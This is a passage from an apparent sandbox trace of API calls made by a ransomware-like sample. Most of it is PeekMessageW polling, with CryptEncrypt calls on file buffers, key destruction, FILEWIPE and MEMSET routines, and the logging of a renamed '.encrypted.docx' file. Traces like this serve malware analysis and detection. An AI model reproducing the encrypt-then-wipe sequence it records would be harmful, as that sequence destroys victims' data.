hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.954] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.955] CharLowerBuffW (in: lpsz="byte[31361]", cchLength=0xb | out: lpsz="byte[31361]") returned 0xb [0023.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.955] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.955] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.956] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.956] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0023.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417b2c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0023.957] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0023.957] CryptEncrypt (in: hKey=0xe8f40625d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cfed0*, pdwDataLen=0xe8f3dfdf68*=0x7a77, dwBufLen=0x7a80 | out: pbData=0xe8f41cfed0*, pdwDataLen=0xe8f3dfdf68*=0x7a80) returned 1 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.958] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.958] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.958] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.958] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.960] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.961] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.961] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.961] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.961] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.961] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.961] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.962] CryptDestroyKey (hKey=0xe8f40625d0) returned 1 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.962] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.962] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.962] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.962] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.962] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.962] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.962] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.962] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.962] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.962] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.963] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0023.963] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.963] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.963] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.963] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.963] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.963] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.964] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.965] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.965] CharLowerBuffW (in: lpsz="byte[31351]", cchLength=0xb | out: lpsz="byte[31351]") returned 0xb [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.965] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.965] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.965] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.965] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.966] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.967] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.967] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.967] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.967] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.967] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.968] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.968] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.968] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.968] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.968] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.968] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.968] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.968] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.968] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.968] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2612) returned 1 [0023.968] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.968] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.968] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.968] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xa34, lpOverlapped=0x0) returned 1 [0023.969] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xa34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.969] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2612) returned 1 [0023.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\n", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0023.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\n", cchWideChar=63, lpMultiByteStr=0xe8f40515e0, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\aQjEhDUTmjiM4M.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 63 [0023.969] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40519f0*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40519f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3e, 